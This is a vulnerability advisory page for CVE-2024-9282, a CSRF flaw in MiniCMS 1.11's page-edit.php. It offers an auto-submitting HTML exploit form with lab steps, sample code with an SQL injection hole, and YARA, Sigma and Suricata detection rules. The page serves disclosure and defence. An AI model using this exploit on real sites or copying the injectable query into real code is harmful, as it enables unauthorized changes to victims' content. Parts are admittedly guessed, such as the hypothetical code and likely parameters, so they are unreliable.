CVE-2024-9282
Executive Summary
CVE-2024-9282 is a Cross-Site Request Forgery (CSRF) vulnerability identified in bg5sbk MiniCMS version 1.11. The flaw resides in the page-edit.php file, allowing an attacker to craft malicious requests that, when executed by an authenticated administrator, can perform unauthorized actions such as modifying page content or settings. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely unassigned or placeholder), and no official patch has been released by the vendor. Public exploit details are available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP-based CMS application.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin session required)
- User Interaction: Required (Victim must click a crafted link)
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (due to public exploit and lack of patch)
Deep Dive & Mechanics
The vulnerability is a classic CSRF in the page-edit.php endpoint. The application does not implement anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page or email containing a request to page-edit.php with parameters to modify a page. When an authenticated admin visits the attacker-controlled page, the browser automatically sends the request with the admin's session cookie, executing the unauthorized action.
Affected Endpoint: page-edit.php
Parameters: Likely id, title, content, etc.
Vulnerable vs. Patched Code
Vulnerable Code (MiniCMS 1.11):
<?php
// page-edit.php
if (isset($_POST['submit'])) {
$id = $_POST['id'];
$title = $_POST['title'];
$content = $_POST['content'];
// No CSRF token check
// Update database
$db->query("UPDATE pages SET title='$title', content='$content' WHERE id=$id");
}
?>
Patched Code (Hypothetical):
<?php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token mismatch');
}
// ... rest of code
?>
Exploitation & Lab Setup
Red Team
Exploit PoC (HTML):
<html>
<body>
<form action="http://target/minicms/page-edit.php" method="POST">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="title" value="Hacked" />
<input type="hidden" name="content" value="Compromised" />
<input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Lab Setup:
- Install MiniCMS 1.11 on a local server (e.g., XAMPP).
- Create an admin account and log in.
- Host the PoC HTML on a separate domain.
- While logged in as admin, visit the PoC page.
- Observe the page content change.
Blue Team
Detection:
- Monitor for unexpected POST requests to
page-edit.phpwithout a validRefererheader. - Implement CSRF tokens in all state-changing forms.
- Use SameSite cookies (Lax or Strict).
Mitigation:
- Add CSRF tokens to all forms.
- Validate
OriginandRefererheaders. - Require re-authentication for sensitive actions.
Indicators of Compromise (IOCs)
- Network: POST requests to
/minicms/page-edit.phpwith suspicious parameters. - Logs: Unauthorized page modifications in CMS audit logs.
- File: Modified page content in database.
Detection Engineering
YARA Rule
rule CVE_2024_9282_CSRF_MiniCMS {
meta:
description = "Detects CSRF exploit attempts against MiniCMS page-edit.php"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2024-9282"
strings:
$s1 = "page-edit.php" nocase
$s2 = "id=" nocase
$s3 = "title=" nocase
$s4 = "content=" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2024-9282 CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to MiniCMS page-edit.php with suspicious parameters
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page-edit.php'
cs-uri-query|contains|all:
- 'id='
- 'title='
- 'content='
condition: selection
falsepositives:
- Legitimate admin edits
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9282 CSRF Exploit Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"page-edit.php"; http.client_body; content:"id="; content:"title="; content:"content="; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict access to
page-edit.phpuntil a patch is applied. - Short-term: Implement CSRF tokens manually in the application code.
- Long-term: Upgrade to a patched version if released, or migrate to a supported CMS.
- Compensating Controls: Use Web Application Firewall (WAF) rules to block suspicious POST requests to
page-edit.php.
Valters IT
Securing Digital Frontiers